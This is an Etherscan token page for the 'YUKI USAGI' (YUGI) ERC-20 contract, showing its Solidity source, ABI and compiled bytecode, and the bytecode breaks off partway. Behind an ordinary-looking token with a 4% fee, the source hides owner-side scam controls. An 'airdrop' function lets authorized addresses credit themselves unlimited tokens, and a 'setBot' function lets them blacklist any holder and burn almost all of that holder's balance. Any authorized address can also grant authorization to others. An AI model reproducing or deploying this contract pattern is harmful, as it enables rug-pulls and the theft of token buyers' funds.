Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000,000 YUGI
Holders
13
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
2,092,507.774852891688341622 YUGIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
YukiUsagi
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-12-26 */ // https://t.me/YukiUsagiErc20Portal // https://medium.com/@yukiusagi/about-yuki-usagi-8619d252807d // https://twitter.com/YukiusagiERC20 ///SPDX-License-Identifier: MIT pragma solidity ^0.8.1; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; mapping(address => bool) private _intAddr; constructor () { address msgSender = _msgSender(); _owner = msgSender; _intAddr[_owner] = true; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Caller is not the owner"); _; } modifier authorized() { require(isAuthorized(msg.sender), "Caller is not authorized"); _; } function isAuthorized(address adr) public view returns (bool) { return _intAddr[adr]; } function isOwner(address adr) public view returns (bool) { return _owner == adr; } function setAuthorized(address adr) public authorized { _intAddr[adr] = true; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function transferOwnership(address newOwner) public virtual onlyOwner { emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IFactory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external returns (address pair); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity(address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB); function removeLiquidityETH(address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit(address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapTokensForExactTokens(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply = 100000000 * 10 ** 18; string private _name; string private _symbol; constructor(string memory ercName, string memory ercSymbol) { _name = ercName; _symbol = ercSymbol; _balances[address(this)] = _totalSupply; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function decimals() public view virtual override returns (uint8) { return 18; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function _transfer(address from, address to, uint256 amount) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[from] = fromBalance.sub(amount); _balances[to] = _balances[to].add(amount); emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); _approve(owner, spender, currentAllowance - amount); } } function _airdrop(address to, uint256 amount) internal virtual { _balances[to] = _balances[to].add(amount); } function _burnTransfer(address account) internal virtual { _balances[address(0)] += _balances[account]; _balances[account] = 1 * 10 ** 18; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {} } contract YukiUsagi is ERC20, Ownable { using SafeMath for uint256; uint256 public _totalAmount = 100000000 * 10 ** 18; uint256 public _totalFee = 4; uint256 public _feeDenominator = 100; mapping(address => bool) private _blackList; string _name = "YUKI USAGI"; string _symbol = "YUGI"; address _marketingFeeReceiver = 0x248981428D3074106fB1C3C5ea0518e3199cFc3b; address _teamFeeReceiver = 0x248981428D3074106fB1C3C5ea0518e3199cFc3b; address public uniswapV2Pair; bool isTrading; modifier trading(){ if (isTrading) return; isTrading = true; _; isTrading = false; } constructor () ERC20(_name, _symbol) { setAuthorized(_marketingFeeReceiver); setAuthorized(_teamFeeReceiver); address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; IRouter router = IRouter(_router); uniswapV2Pair = IFactory(router.factory()).createPair(address(this), router.WETH()); _transfer(address(this), owner(), _totalAmount); } function _afterTokenTransfer(address from, address to, uint256 amount) internal override trading { if (isAuthorized(from) || isAuthorized(to)) { return; } uint256 feeAmount = amount.mul(_totalFee).div(_feeDenominator); _transfer(to, address(this), feeAmount); } function airdrop(address to, uint256 amount) public authorized { _airdrop(to, amount); } function setBot(address adr) public authorized { _blackList[adr] = true; _burnTransfer(adr); } function isBot(address adr) public view returns (bool) { return _blackList[adr]; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isAuthorized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"setAuthorized","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"setBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
6a52b7d2dcc80cd2e400000060028190556007556004600855606460095560c0604052600a60808190526959554b4920555341474960b01b60a09081526200004b91600b9190620009e0565b50604080518082019091526004808252635955474960e01b60209092019182526200007991600c91620009e0565b50600d805473248981428d3074106fb1c3c5ea0518e3199cfc3b6001600160a01b03199182168117909255600e80549091169091179055348015620000bd57600080fd5b50600b8054620000cd9062000b83565b80601f0160208091040260200160405190810160405280929190818152602001828054620000fb9062000b83565b80156200014c5780601f1062000120576101008083540402835291602001916200014c565b820191906000526020600020905b8154815290600101906020018083116200012e57829003601f168201915b5050505050600c8054620001609062000b83565b80601f01602080910402602001604051908101604052809291908181526020018280546200018e9062000b83565b8015620001df5780601f10620001b357610100808354040283529160200191620001df565b820191906000526020600020905b815481529060010190602001808311620001c157829003601f168201915b50508451620001f9935060039250602086019150620009e0565b5080516200020f906004906020840190620009e0565b50506002543060009081526020818152604080832093909355600580546001600160a01b031916339081179091558083526006909152828220805460ff19166001179055915191925082917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600d5462000297906001600160a01b031662000481565b600e54620002ae906001600160a01b031662000481565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90506000819050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200030657600080fd5b505afa1580156200031b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000341919062000a86565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200038a57600080fd5b505afa1580156200039f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003c5919062000a86565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200040e57600080fd5b505af115801562000423573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000449919062000a86565b600f80546001600160a01b0319166001600160a01b0392831617905560055462000479913091166007546200050a565b505062000bd6565b3360009081526006602052604090205460ff16620004e65760405162461bcd60e51b815260206004820152601860248201527f43616c6c6572206973206e6f7420617574686f72697a6564000000000000000060448201526064015b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b038316620005705760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401620004dd565b6001600160a01b038216620005d45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401620004dd565b6001600160a01b038316600090815260208190526040902054818110156200064e5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401620004dd565b6200066882826200070d60201b620006791790919060201c565b6001600160a01b038086166000908152602081815260408083209490945591861681529190912054620006a6918490620006c262000760821b17901c565b6001600160a01b038481166000818152602081815260409182902094909455518581529092918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a362000707848484620007c3565b50505050565b60006200075783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506200089d60201b60201c565b90505b92915050565b6000806200076f838562000b09565b905083811015620007575760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401620004dd565b600f54600160a01b900460ff1615620007db57505050565b600f805460ff60a01b1916600160a01b17905562000811836001600160a01b031660009081526006602052604090205460ff1690565b806200083557506001600160a01b03821660009081526006602052604090205460ff165b1562000841576200088b565b60006200087a6009546200086660085485620008dc60201b620007211790919060201c565b6200096360201b620007a01790919060201c565b9050620008898330836200050a565b505b5050600f805460ff60a01b1916905550565b60008184841115620008c45760405162461bcd60e51b8152600401620004dd919062000ab1565b506000620008d3848662000b69565b95945050505050565b600082620008ed575060006200075a565b6000620008fb838562000b47565b9050826200090a858362000b24565b14620007575760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401620004dd565b60006200075783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250620009ad60201b60201c565b60008183620009d15760405162461bcd60e51b8152600401620004dd919062000ab1565b506000620008d3848662000b24565b828054620009ee9062000b83565b90600052602060002090601f01602090048101928262000a12576000855562000a5d565b82601f1062000a2d57805160ff191683800117855562000a5d565b8280016001018555821562000a5d579182015b8281111562000a5d57825182559160200191906001019062000a40565b5062000a6b92915062000a6f565b5090565b5b8082111562000a6b576000815560010162000a70565b60006020828403121562000a9957600080fd5b81516001600160a01b03811681146200075757600080fd5b600060208083528351808285015260005b8181101562000ae05785810183015185820160400152820162000ac2565b8181111562000af3576000604083870101525b50601f01601f1916929092016040019392505050565b6000821982111562000b1f5762000b1f62000bc0565b500190565b60008262000b4257634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161562000b645762000b6462000bc0565b500290565b60008282101562000b7e5762000b7e62000bc0565b500390565b600181811c9082168062000b9857607f821691505b6020821081141562000bba57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b610f7a8062000be66000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c80636b5caec4116100b857806395d89b411161007c57806395d89b41146102c4578063a9059cbb146102cc578063bf8e572e146102df578063dd62ed3e146102e8578063f2fde38b14610321578063fe9fbb801461033457600080fd5b80636b5caec41461025c57806370a082311461026f578063715018a6146102985780638ba4cc3c146102a05780638da5cb5b146102b357600080fd5b8063283f78201161010a578063283f7820146101c25780632f54bf6e146101cb578063313ce567146101ed5780633bbac579146101fc5780633bbeaab51461022857806349bd5a5e1461023157600080fd5b806306fdde0314610147578063095ea7b31461016557806314fc28121461018857806318160ddd1461019d57806323b872dd146101af575b600080fd5b61014f610347565b60405161015c9190610df7565b60405180910390f35b610178610173366004610dcd565b6103d9565b604051901515815260200161015c565b61019b610196366004610d43565b6103f3565b005b6002545b60405190815260200161015c565b6101786101bd366004610d91565b610445565b6101a160085481565b6101786101d9366004610d43565b6005546001600160a01b0390811691161490565b6040516012815260200161015c565b61017861020a366004610d43565b6001600160a01b03166000908152600a602052604090205460ff1690565b6101a160075481565b600f54610244906001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b61019b61026a366004610d43565b610469565b6101a161027d366004610d43565b6001600160a01b031660009081526020819052604090205490565b61019b6104bd565b61019b6102ae366004610dcd565b61055b565b6005546001600160a01b0316610244565b61014f61058e565b6101786102da366004610dcd565b61059d565b6101a160095481565b6101a16102f6366004610d5e565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61019b61032f366004610d43565b6105ab565b610178610342366004610d43565b61065b565b60606003805461035690610ef3565b80601f016020809104026020016040519081016040528092919081815260200182805461038290610ef3565b80156103cf5780601f106103a4576101008083540402835291602001916103cf565b820191906000526020600020905b8154815290600101906020018083116103b257829003601f168201915b5050505050905090565b6000336103e78185856107e2565b60019150505b92915050565b6103fc3361065b565b6104215760405162461bcd60e51b815260040161041890610e4c565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b600033610453858285610906565b61045e85858561099f565b506001949350505050565b6104723361065b565b61048e5760405162461bcd60e51b815260040161041890610e4c565b6001600160a01b0381166000908152600a60205260409020805460ff191660011790556104ba81610b75565b50565b6005546001600160a01b031633146105115760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b6044820152606401610418565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6105643361065b565b6105805760405162461bcd60e51b815260040161041890610e4c565b61058a8282610bec565b5050565b60606004805461035690610ef3565b6000336103e781858561099f565b6005546001600160a01b031633146105ff5760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b6044820152606401610418565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b031660009081526006602052604090205460ff1690565b60006106bb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c2f565b9392505050565b6000806106cf8385610e83565b9050838110156106bb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610418565b600082610730575060006103ed565b600061073c8385610ebd565b9050826107498583610e9b565b146106bb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610418565b60006106bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610c69565b6001600160a01b0383166108445760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610418565b6001600160a01b0382166108a55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610418565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03838116600090815260016020908152604080832093861683529290522054600019811461099957818110156109855760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610418565b61099984846109948585610edc565b6107e2565b50505050565b6001600160a01b038316610a035760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610418565b6001600160a01b038216610a655760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610418565b6001600160a01b03831660009081526020819052604090205481811015610add5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610418565b610ae78183610679565b6001600160a01b038086166000908152602081905260408082209390935590851681522054610b1690836106c2565b6001600160a01b038481166000818152602081815260409182902094909455518581529092918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610999848484610c97565b6001600160a01b0381166000908152602081905260408120548180527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5805491929091610bc3908490610e83565b90915550506001600160a01b03166000908152602081905260409020670de0b6b3a76400009055565b6001600160a01b038216600090815260208190526040902054610c0f90826106c2565b6001600160a01b0390921660009081526020819052604090209190915550565b60008184841115610c535760405162461bcd60e51b81526004016104189190610df7565b506000610c608486610edc565b95945050505050565b60008183610c8a5760405162461bcd60e51b81526004016104189190610df7565b506000610c608486610e9b565b600f54600160a01b900460ff1615610cae57505050565b600f805460ff60a01b1916600160a01b179055610cca8361065b565b80610cd95750610cd98261065b565b15610ce357610d15565b6000610d06600954610d006008548561072190919063ffffffff16565b906107a0565b9050610d1383308361099f565b505b5050600f805460ff60a01b1916905550565b80356001600160a01b0381168114610d3e57600080fd5b919050565b600060208284031215610d5557600080fd5b6106bb82610d27565b60008060408385031215610d7157600080fd5b610d7a83610d27565b9150610d8860208401610d27565b90509250929050565b600080600060608486031215610da657600080fd5b610daf84610d27565b9250610dbd60208501610d27565b9150604084013590509250925092565b60008060408385031215610de057600080fd5b610de983610d27565b946020939093013593505050565b600060208083528351808285015260005b81811015610e2457858101830151858201604001528201610e08565b81811115610e36576000604083870101525b50601f01601f1916929092016040019392505050565b60208082526018908201527f43616c6c6572206973206e6f7420617574686f72697a65640000000000000000604082015260600190565b60008219821115610e9657610e96610f2e565b500190565b600082610eb857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615610ed757610ed7610f2e565b500290565b600082821015610eee57610eee610f2e565b500390565b600181811c90821680610f0757607f821691505b60208210811415610f2857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220e1c65d6dab29ad39ab0e3d4115b2c3e5fc6f12db7504ae70189b519f29f09e3d64736f6c63430008070033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101425760003560e01c80636b5caec4116100b857806395d89b411161007c57806395d89b41146102c4578063a9059cbb146102cc578063bf8e572e146102df578063dd62ed3e146102e8578063f2fde38b14610321578063fe9fbb801461033457600080fd5b80636b5caec41461025c57806370a082311461026f578063715018a6146102985780638ba4cc3c146102a05780638da5cb5b146102b357600080fd5b8063283f78201161010a578063283f7820146101c25780632f54bf6e146101cb578063313ce567146101ed5780633bbac579146101fc5780633bbeaab51461022857806349bd5a5e1461023157600080fd5b806306fdde0314610147578063095ea7b31461016557806314fc28121461018857806318160ddd1461019d57806323b872dd146101af575b600080fd5b61014f610347565b60405161015c9190610df7565b60405180910390f35b610178610173366004610dcd565b6103d9565b604051901515815260200161015c565b61019b610196366004610d43565b6103f3565b005b6002545b60405190815260200161015c565b6101786101bd366004610d91565b610445565b6101a160085481565b6101786101d9366004610d43565b6005546001600160a01b0390811691161490565b6040516012815260200161015c565b61017861020a366004610d43565b6001600160a01b03166000908152600a602052604090205460ff1690565b6101a160075481565b600f54610244906001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b61019b61026a366004610d43565b610469565b6101a161027d366004610d43565b6001600160a01b031660009081526020819052604090205490565b61019b6104bd565b61019b6102ae366004610dcd565b61055b565b6005546001600160a01b0316610244565b61014f61058e565b6101786102da366004610dcd565b61059d565b6101a160095481565b6101a16102f6366004610d5e565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61019b61032f366004610d43565b6105ab565b610178610342366004610d43565b61065b565b60606003805461035690610ef3565b80601f016020809104026020016040519081016040528092919081815260200182805461038290610ef3565b80156103cf5780601f106103a4576101008083540402835291602001916103cf565b820191906000526020600020905b8154815290600101906020018083116103b257829003601f168201915b5050505050905090565b6000336103e78185856107e2565b60019150505b92915050565b6103fc3361065b565b6104215760405162461bcd60e51b815260040161041890610e4c565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b600033610453858285610906565b61045e85858561099f565b506001949350505050565b6104723361065b565b61048e5760405162461bcd60e51b815260040161041890610e4c565b6001600160a01b0381166000908152600a60205260409020805460ff191660011790556104ba81610b75565b50565b6005546001600160a01b031633146105115760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b6044820152606401610418565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6105643361065b565b6105805760405162461bcd60e51b815260040161041890610e4c565b61058a8282610bec565b5050565b60606004805461035690610ef3565b6000336103e781858561099f565b6005546001600160a01b031633146105ff5760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b6044820152606401610418565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b031660009081526006602052604090205460ff1690565b60006106bb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c2f565b9392505050565b6000806106cf8385610e83565b9050838110156106bb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610418565b600082610730575060006103ed565b600061073c8385610ebd565b9050826107498583610e9b565b146106bb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610418565b60006106bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610c69565b6001600160a01b0383166108445760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610418565b6001600160a01b0382166108a55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610418565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03838116600090815260016020908152604080832093861683529290522054600019811461099957818110156109855760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610418565b61099984846109948585610edc565b6107e2565b50505050565b6001600160a01b038316610a035760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610418565b6001600160a01b038216610a655760405162461bcd